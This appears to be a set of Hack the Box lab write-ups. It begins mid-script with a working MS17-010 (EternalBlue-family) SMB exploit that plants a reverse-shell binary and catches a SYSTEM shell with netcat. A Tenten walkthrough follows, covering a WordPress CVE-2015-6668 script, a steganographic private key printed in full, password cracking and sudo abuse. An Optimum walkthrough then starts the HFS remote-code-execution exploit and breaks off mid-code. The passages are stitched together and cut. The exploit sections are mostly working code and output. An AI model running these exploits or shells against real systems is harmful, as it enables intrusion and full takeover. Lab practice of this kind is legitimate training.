wait_for_request_processed(conn)

# ================================
# leak transaction
# ================================
print('leak next transaction')
# modify TRANSACTION member to leak info
# function=5 (NT_TRANS_RENAME)
conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])

conn.send_nt_trans_secondary(mid=special_mid)
leakData = conn.recv_transaction_data(special_mid, 0x100)
leakData = leakData[4:] # remove param
#open('leak.dat', 'wb').write(leakData)

# check heap chunk size value in leak data
if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != (TRANS_CHUNK_SIZE // info['POOL_ALIGN']):
print('chunk size is wrong')
return False

# extract leak transaction data and make next transaction to be trans2
leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
leakTrans = leakData[leakTranOffset:]
fmt = info['PTR_FMT']
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]

print('CONNECTION: 0x{:x}'.format(connection_addr))
print('SESSION: 0x{:x}'.format(session_addr))
print('FLINK: 0x{:x}'.format(flink_value))
print('InData: 0x{:x}'.format(indata_value))
print('MID: 0x{:x}'.format(trans2_mid))

trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
print('TRANS1: 0x{:x}'.format(trans1_addr))
print('TRANS2: 0x{:x}'.format(trans2_addr))

# ================================
# modify trans struct to be used for arbitrary read/write
# ================================
print('modify transaction struct for arbitrary read/write')
# modify
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
# Note: HIDWORD of trans1.InParameter is still 0xffffffff
TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
wait_for_request_processed(conn)

# modify trans1.mid
trans1_mid = conn.next_mid()
conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)

info.update({
'connection': connection_addr,
'session': session_addr,
'trans1_mid': trans1_mid,
'trans1_addr': trans1_addr,
'trans2_mid': trans2_mid,
'trans2_addr': trans2_addr,
})
return True

def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
SID_SYSTEM = pack('<BB5xB'+'I', 1, 1, 5, 18)
SID_ADMINISTRATORS = pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
SID_AUTHENICATED_USERS = pack('<BB5xB'+'I', 1, 1, 5, 11)
SID_EVERYONE = pack('<BB5xB'+'I', 1, 1, 1, 0)
# SID_SYSTEM and SID_ADMINISTRATORS must be added
sids = [ SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS ]
# - user has no attribute (0)
# - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
# - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
attrs = [ 0, 0xe, 7, 7 ]

# assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
# fake user and groups will be in same buffer of original one
# so fake sids size must NOT be bigger than the original sids
fakeUserAndGroupCount = min(userAndGroupCount, 4)
fakeUserAndGroupsAddr = userAndGroupsAddr

addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
fakeUserAndGroups = ''
for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
addr += len(sid)
fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])

return fakeUserAndGroupCount, fakeUserAndGroups


def exploit(target, pipe_name):
conn = MYSMB(target)

# set NODELAY to make exploit much faster
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

info = {}

conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
info['os'] = 'WIN7'
info['method'] = exploit_matched_pairs
elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"):
info['os'] = 'WIN8'
info['method'] = exploit_matched_pairs
elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'):
info['os'] = 'WIN7'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows Server 2003 "):
info['os'] = 'WIN2K3'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows 5.1"):
info['os'] = 'WINXP'
info['arch'] = 'x86'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows XP "):
info['os'] = 'WINXP'
info['arch'] = 'x64'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows 5.0"):
info['os'] = 'WIN2K'
info['arch'] = 'x86'
info['method'] = exploit_fish_barrel
else:
print('This exploit does not support this target')
sys.exit()

if pipe_name is None:
pipe_name = find_named_pipe(conn)
if pipe_name is None:
print('Not found accessible named pipe')
return False
print('Using named pipe: '+pipe_name)

if not info['method'](conn, pipe_name, info):
return False

# Now, read_data() and write_data() can be used for arbitrary read and write.
# ================================
# Modify this SMB session to be SYSTEM
# ================================ 
fmt = info['PTR_FMT']

print('make this SMB session to be SYSTEM')
# IsNullSession = 0, IsAdmin = 1
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')

# read session struct to get SecurityContext address
sessionData = read_data(conn, info, info['session'], 0x100)
secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]

if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.

# find the token and modify it
if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
else:
pctxtDataAddr = secCtxAddr

tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
print('current TOKEN addr: 0x{:x}'.format(tokenAddr))

# copy Token data for restoration
tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])

# parse necessary data out of token
userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)

print('overwriting token UserAndGroups')
# modify UserAndGroups info
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
else:
# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
# copy SecurityContext for restoration
secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])

print('overwriting session security context')
# see FAKE_SECCTX detail at top of the file
write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])

# ================================
# do whatever we want as SYSTEM over this SMB connection
# ================================ 
try:
smb_pwn(conn, info['arch'])
except:
pass

# restore SecurityContext/Token
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
userAndGroupsOffset = userAndGroupsAddr - tokenAddr
write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount))
else:
write_data(conn, info, secCtxAddr, secCtxData)

conn.disconnect_tree(conn.get_tid())
conn.logoff()
conn.get_socket().close()
return True

def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
# struct _TOKEN:
# ...
# ULONG UserAndGroupCount; // Ro: 4-Bytes
# ULONG RestrictedSidCount; // Ro: 4-Bytes
# ...
# PSID_AND_ATTRIBUTES UserAndGroups; // Wr: sizeof(void*)
# PSID_AND_ATTRIBUTES RestrictedSids; // Ro: sizeof(void*)
# ...

userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset) 
userAndGroupsAddr, RestrictedSids = unpack_from('<'+info['PTR_FMT']*2, tokenData, userAndGroupsAddrOffset)

# RestrictedSidCount MUST be 0
# RestrictedSids MUST be NULL
#
# userandGroupCount must NOT be 0
# userandGroupsAddr must NOT be NULL
#
# Could also add a failure point here if userAndGroupCount >= x

success = True

if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0:
print('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
print('RestrictedSids: 0x{:x}'.format(RestrictedSids))
print('RestrictedSidCount: 0x{:x}'.format(RestrictedSidCount))
success = False

print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))

return success, userAndGroupCount, userAndGroupsAddr

def get_group_data_from_token(info, tokenData):
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']

# try with default offsets
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)

# hack to fix XP SP0 and SP1
# I will avoid over-engineering a more elegant solution and leave this as a hack, 
# since XP SP0 and SP1 is the only edge case in a LOT of testing!
if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
print('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')

userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']

# try with hack offsets
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)

# still no good. Abort because something is wrong
if not success:
print('Bad TOKEN_USER_GROUP offsets. Abort > BSOD')
sys.exit()

# token parsed and validated
return userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset

def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()

print('creating file c:\\pwned.txt on the target')
tid2 = smbConn.connectTree('C$')
fid2 = smbConn.createFile(tid2, '/pwned.txt')
smbConn.closeFile(tid2, fid2)
smbConn.disconnectTree(tid2)

smb_send_file(smbConn, '/root/htb/blue/puckieshell443.exe', 'C', '/puckieshell443.exe')
service_exec(conn, r'cmd /c c:\\puckieshell443.exe')
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
# executing binary generated by "msfvenom -f exe-service ..."

def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
with open(localSrc, 'rb') as fp:
smbConn.putFile(remoteDrive + '$', remotePath, fp.read)

# based on impacket/examples/serviceinstall.py
# Note: using Windows Service to execute command same as how psexec works
def service_exec(conn, cmd):
import random
import string
from impacket.dcerpc.v5 import transport, srvs, scmr

service_name = ''.join([random.choice(string.letters) for i in range(4)])

# Setup up a DCE SMBTransport with the connection already in place
rpcsvc = conn.get_dce_rpc('svcctl')
rpcsvc.connect()
rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
svcHandle = None
try:
print("Opening SVCManager on %s....." % conn.get_remote_host())
resp = scmr.hROpenSCManagerW(rpcsvc)
svcHandle = resp['lpScHandle']

# First we try to open the service in case it exists. If it does, we remove it.
try:
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
except Exception as e:
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
raise e # Unexpected error
else:
# It exists, remove it
scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])

print('Creating service %s.....' % service_name)
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
serviceHandle = resp['lpServiceHandle']

if serviceHandle:
# Start service
try:
print('Starting service %s.....' % service_name)
scmr.hRStartServiceW(rpcsvc, serviceHandle)
# is it really need to stop?
# using command line always makes starting service fail because SetServiceStatus() does not get called
#print('Stoping service %s.....' % service_name)
#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
except Exception as e:
print(str(e))

print('Removing service %s.....' % service_name)
scmr.hRDeleteService(rpcsvc, serviceHandle)
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
except Exception as e:
print("ServiceExec Error on: %s" % conn.get_remote_host())
print(str(e))
finally:
if svcHandle:
scmr.hRCloseServiceHandle(rpcsvc, svcHandle)

rpcsvc.disconnect()


if len(sys.argv) < 2:
print("{} <ip> [pipe_name]".format(sys.argv[0]))
sys.exit(1)

target = sys.argv[1]
pipe_name = None if len(sys.argv) < 3 else sys.argv[2]

exploit(target, pipe_name)
print('Done')

It is now possible to run ​ zzz_exploit.py​ . A named pipe is required to execute the script, and in
this case ​ ntsvcs​ works just fine.

 

root@kali:/opt/MS17-010# python zzz_exploit.py 10.10.10.40 ntsvcs
Target OS: Windows 7 Professional 7601 Service Pack 1
Target is 64 bit
Got frag size: 0x10
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xfa0
CONNECTION: 0xfffffa80020a5840
SESSION: 0xfffff8a008c3b8e0
FLINK: 0xfffff8a0092a5088
InParam: 0xfffff8a00929f15c
MID: 0x3908
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
creating file c:\pwned.txt on the target
Opening SVCManager on 10.10.10.40.....
Creating service niun.....
Starting service niun.....
The NETBIOS connection with the remote host timed out.
Removing service niun.....
ServiceExec Error on: 10.10.10.40
nca_s_proto_error
Done

Catch it with netcat listener

root@kali:/opt/MS17-010# nc -lvp 443
listening on [any] 443 ...
connect to [10.10.14.11] from haris-pc [10.10.10.40] 49162
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

Author :Jacco Straathof

HTB – Tenten

Today we are going to solve another CTF challenge “Tenten” which is available online for those who want to increase their skill in penetration testing and black box testing. Tenten is a retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level.

Level: Medium

Task: find user.txt and root.txt file in the victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.10 so let’s begin with nmap port enumeration.

root@kali:~/htb/tenten# nmap -sC 10.10.10.10
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-11 20:21 CET
Nmap scan report for 10.10.10.10
Host is up (0.028s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey: 
| 2048 ec:f7:9d:38:0c:47:6f:f0:13:0f:b9:3b:d4:d6:e3:11 (RSA)
| 256 cc:fe:2d:e2:7f:ef:4d:41:ae:39:0e:91:ed:7e:9d:e7 (ECDSA)
|_ 256 8d:b5:83:18:c0:7c:5d:3d:38:df:4b:e1:a4:82:8a:07 (ED25519)
80/tcp open http
|_http-generator: WordPress 4.7.3
|_http-title: Job Portal &#8211; Just another WordPress site

Nmap done: 1 IP address (1 host up) scanned in 24.11 seconds

Knowing port 80 is open in victim’s network we preferred to explore his IP in the browser the page indicates that is a WordPress website.

Now we decided to use wpscan, on the URL that we have entered in the browser. To check if there are any kind of vulnerable themes, plugins etc.

root@kali:~/htb/tenten# wpscan --url http://10.10.10.10/ --enumerate u
[+] URL: http://10.10.10.10/
[+] Started: Mon Feb 11 20:32:12 2019
--snip--
[+] Enumerating Users
 Brute Forcing Author IDs - Time: 00:00:00 <==================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] takis
 | Detected By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] Finished: Mon Feb 11 20:32:17 2019
[+] Requests Done: 2
[+] Cached Requests: 54
[+] Data Sent: 497 B
[+] Data Received: 4.543 KB
[+] Memory used: 13.867 MB
[+] Elapsed time: 00:00:04
root@kali:~/htb/tenten# wpscan --url http://10.10.10.10/ --enumerate p

[+] Enumerating Most Popular Plugins
[+] Checking Plugin Versions

[i] Plugin(s) Identified:

[+] job-manager
| Location: http://10.10.10.10/wp-content/plugins/job-manager/
| Latest Version: 0.7.25 (up to date)
| Last Updated: 2015-08-25T22:44:00.000Z
|
| Detected By: Urls In Homepage (Passive Detection)
|
| [!] 1 vulnerability identified:
|
| [!] Title: Job Manager <= 0.7.25 - Insecure Direct Object Reference
| References:
| - https://wpvulndb.com/vulnerabilities/8167
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6668
| - https://vagmour.eu/cve-2015-6668-cv-filename-disclosure-on-job-manager-wordpress-plugin/
|
| Version: 7.2.5 (80% confidence)
| Detected By: Readme - Stable Tag (Aggressive Detection)
| - http://10.10.10.10/wp-content/plugins/job-manager/readme.txt

[+] Finished: Mon Feb 11 20:35:50 2019
[+] Requests Done: 31
[+] Cached Requests: 3
[+] Data Sent: 6.433 KB
[+] Data Received: 326.415 KB
[+] Memory used: 66.34 MB
[+] Elapsed time: 00:00:07

The Job-manager plugin has a CVE-2015-6668

Visit http://10.10.10.10/index.php/ and click on Job Listing and click on Apply .In the URL you’ll see the URL is http://10.10.10.10/index.php/jobs/apply/8/
We see there’s a number in the end. It is an ID from the wordpress mysql database.

Lets Fuzz for more pages

root@kali:~/htb/tenten# for i in $(seq 1 20); do echo -n "$i: "; curl -s http://10.10.10.10/index.php/jobs/apply/$i/ | grep '<title>'; done
1: <title>Job Application: Hello world! &#8211; Job Portal</title>
2: <title>Job Application: Sample Page &#8211; Job Portal</title>
3: <title>Job Application: Auto Draft &#8211; Job Portal</title>
4: <title>Job Application &#8211; Job Portal</title>
5: <title>Job Application: Jobs Listing &#8211; Job Portal</title>
6: <title>Job Application: Job Application &#8211; Job Portal</title>
7: <title>Job Application: Register &#8211; Job Portal</title>
8: <title>Job Application: Pen Tester &#8211; Job Portal</title>
9: <title>Job Application: &#8211; Job Portal</title>
10: <title>Job Application: Application &#8211; Job Portal</title>
11: <title>Job Application: cube &#8211; Job Portal</title>
12: <title>Job Application: Application &#8211; Job Portal</title>
13: <title>Job Application: HackerAccessGranted &#8211; Job Portal</title>
14: <title>Job Application &#8211; Job Portal</title>
15: <title>Job Application &#8211; Job Portal</title>
16: <title>Job Application &#8211; Job Portal</title>
17: <title>Job Application &#8211; Job Portal</title>
18: <title>Job Application &#8211; Job Portal</title>
19: <title>Job Application &#8211; Job Portal</title>
20: <title>Job Application &#8211; Job Portal</title>

The content on 13th line HackerAccessGranted looks interesting.

According to the CVE:

The wordpress directory structure for the uploaded files is known as /wp-content/uploads/%year%/%month%/%filename%

To find the exact file location

c:\PENTEST>type CVE-2015-6668.py
import requests

print """
CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Author: Evangelos Mourikis
Blog: https://vagmour.eu
Plugin URL: http://www.wp-jobmanager.com
Versions: <=0.7.25
"""
website = raw_input('Enter a vulnerable website: ')
filename = raw_input('Enter a file name: ')

filename2 = filename.replace(" ", "-")

for year in range(2013,2018):
for i in range(1,13):
for extension in {'jpg','jpeg','png'}:
URL = website + "/wp-content/uploads/" + str(year) + "/" + "{:02}".format(i) + "/" + filename2 + "." + extension
req = requests.get(URL)
if req.status_code==200:
print "[+] URL of CV found! " + URL
c:\PENTEST>python CVE-2015-6668.py

CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Author: Evangelos Mourikis
Blog: https://vagmour.eu
Plugin URL: http://www.wp-jobmanager.com
Versions: <=0.7.25

Enter a vulnerable website: http://10.10.10.10
Enter a file name: HackerAccessGranted
[+] URL of CV found! http://10.10.10.10/wp-content/uploads/2017/04/HackerAccessGranted.jpg

Next

Visit http://10.10.10.10/wp-content/uploads/2017/04/HackerAccessGranted.jpg

Download the image

root@kali:~/htb/tenten# wget http://10.10.10.10/wp-content/uploads/2017/04/HackerAccessGranted.jpg
--2019-02-11 20:46:19-- http://10.10.10.10/wp-content/uploads/2017/04/HackerAccessGranted.jpg
Connecting to 10.10.10.10:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 262408 (256K) [image/jpeg]
Saving to: ‘HackerAccessGranted.jpg’

HackerAccessGranted.jpg 100%[===============================>] 256.26K 1.11MB/s in 0.2s

2019-02-11 20:46:20 (1.11 MB/s) - ‘HackerAccessGranted.jpg’ saved [262408/262408]

Use steghide with no passphrase

root@kali:~/htb/tenten# steghide extract -sf HackerAccessGranted.jpg
Enter passphrase: 
wrote extracted data to "id_rsa".
root@kali:~/htb/tenten# cat id_rsa 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,7265FC656C429769E4C1EEFC618E660C

/HXcUBOT3JhzblH7uF9Vh7faa76XHIdr/Ch0pDnJunjdmLS/laq1kulQ3/RF/Vax
tjTzj/V5hBEcL5GcHv3esrODlS0jhML53lAprkpawfbvwbR+XxFIJuz7zLfd/vDo
1KuGrCrRRsipkyae5KiqlC137bmWK9aE/4c5X2yfVTOEeODdW0rAoTzGufWtThZf
K2ny0iTGPndD7LMdm/o5O5As+ChDYFNphV1XDgfDzHgonKMC4iES7Jk8Gz20PJsm
SdWCazF6pIEqhI4NQrnkd8kmKqzkpfWqZDz3+g6f49GYf97aM5TQgTday2oFqoXH
WPhK3Cm0tMGqLZA01+oNuwXS0H53t9FG7GqU31wj7nAGWBpfGodGwedYde4zlOBP
VbNulRMKOkErv/NCiGVRcK6k5Qtdbwforh+6bMjmKE6QvMXbesZtQ0gC9SJZ3lMT
J0IY838HQZgOsSw1jDrxuPV2DUIYFR0W3kQrDVUym0BoxOwOf/MlTxvrC2wvbHqw
AAniuEotb9oaz/Pfau3OO/DVzYkqI99VDX/YBIxd168qqZbXsM9s/aMCdVg7TJ1g
2gxElpV7U9kxil/RNdx5UASFpvFslmOn7CTZ6N44xiatQUHyV1NgpNCyjfEMzXMo
6FtWaVqbGStax1iMRC198Z0cRkX2VoTvTlhQw74rSPGPMEH+OSFksXp7Se/wCDMA
pYZASVxl6oNWQK+pAj5z4WhaBSBEr8ZVmFfykuh4lo7Tsnxa9WNoWXo6X0FSOPMk
tNpBbPPq15+M+dSZaObad9E/MnvBfaSKlvkn4epkB7n0VkO1ssLcecfxi+bWnGPm
KowyqU6iuF28w1J9BtowgnWrUgtlqubmk0wkf+l08ig7koMyT9KfZegR7oF92xE9
4IWDTxfLy75o1DH0Rrm0f77D4HvNC2qQ0dYHkApd1dk4blcb71Fi5WF1B3RruygF
2GSreByXn5g915Ya82uC3O+ST5QBeY2pT8Bk2D6Ikmt6uIlLno0Skr3v9r6JT5J7
L0UtMgdUqf+35+cA70L/wIlP0E04U0aaGpscDg059DL88dzvIhyHg4Tlfd9xWtQS
VxMzURTwEZ43jSxX94PLlwcxzLV6FfRVAKdbi6kACsgVeULiI+yAfPjIIyV0m1kv
5HV/bYJvVatGtmkNuMtuK7NOH8iE7kCDxCnPnPZa0nWoHDk4yd50RlzznkPna74r
Xbo9FdNeLNmER/7GGdQARkpd52Uur08fIJW2wyS1bdgbBgw/G+puFAR8z7ipgj4W
p9LoYqiuxaEbiD5zUzeOtKAKL/nfmzK82zbdPxMrv7TvHUSSWEUC4O9QKiB3amgf
yWMjw3otH+ZLnBmy/fS6IVQ5OnV6rVhQ7+LRKe+qlYidzfp19lIL8UidbsBfWAzB
9Xk0sH5c1NQT6spo/nQM3UNIkkn+a7zKPJmetHsO4Ob3xKLiSpw5f35SRV+rF+mO
vIUE1/YssXMO7TK6iBIXCuuOUtOpGiLxNVRIaJvbGmazLWCSyptk5fJhPLkhuK+J
YoZn9FNAuRiYFL3rw+6qol+KoqzoPJJek6WHRy8OSE+8Dz1ysTLIPB6tGKn7EWnP
-----END RSA PRIVATE KEY-----

Use sshng2john.py

https://github.com/truongkma/ctf-tools/blob/master/John/run/sshng2john.py
root@kali:~/htb/tenten# python sshng2john.py id_rsa > id_rsa.encrypted
root@kali:~/htb/tenten# ls
id_rsa id_rsa.encrypted

Use john to get passphrase

root@kali:~/htb/tenten# john id_rsa.encrypted --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH-ng [RSA/DSA 32/64])
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
superpassword (id_rsa)
1g 0:00:00:30 DONE (2019-02-11 20:56) 0.03305g/s 474168p/s 474168c/s 474168C/s *7¡Vamos!
Session completed

SSH

root@kali:~/htb/tenten# chmod 600 id_rsa
root@kali:~/htb/tenten# ssh -i id_rsa takis@10.10.10.10
Enter passphrase for key 'id_rsa': superpassword
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

65 packages can be updated.
39 updates are security updates.


Last login: Mon Feb 11 21:56:45 2019 from 10.10.14.21
takis@tenten:~$ cat user.txt
e5c*****f31
takis@tenten:~$ strings /bin/fuckin
#!/bin/bash
$1 $2 $3 $4
takis@tenten:~$ sudo fuckin id
uid=0(root) gid=0(root) groups=0(root)
takis@tenten:~$ sudo fuckin cat /root/root.txt
f9f*****603

Author : Jacco Straathof

HTB – Optimum

Today we are going to solve another CTF challenge called “Optimum” which is categorised as retired lab developed by Hack the Box for the purpose of online penetration practices. Solving this lab is not that tough if have proper basic knowledge of Penetration testing. Let’s start and learn how to breach it.

Level: Intermediate

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online, therefore they have static IP. The IP of optimum is 10.10.10.8 so let’s start with nmap port enumeration.

C:\Users\jacco>nmap -sC -sV 10.10.10.8
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-06 20:58 W. Europe Standard Time
Nmap scan report for 10.10.10.8
Host is up (0.026s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.50 seconds

https://www.exploit-db.com/exploits/39161/
Usage is : python exploit.py RHOST RPORT

root@kali:~/htb/optimum# cat rejetto-exploit.py 
#!/usr/bin/python
# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 04-01-2016
# Remote: Yes
# Exploit Author: Avinash Kumar Thapa aka "-Acid"
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287
# Description: You can use HFS (HTTP File Server) to send and receive files.
# It's different from classic file sharing because it uses web technology to be more compatible with today's Internet.
# It also differs from classic web servers because it's very easy to use and runs "right out-of-the box". Access your remote files, over the network. It has been successfully tested with Wine under Linux. 

#Usage : python Exploit.py <Target IP address> <Target Port Number>

#EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>:80/nc.exe). 
# You may need to run it multiple times for success!


import urllib2
import sys

try:
def script_create():
urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+save+".}")

def execute_script():
urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe+".}")

def nc_run():
urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe1+".}")

ip_addr = "10.10.14.20" #local IP address
local_port = "443" # Local Port number
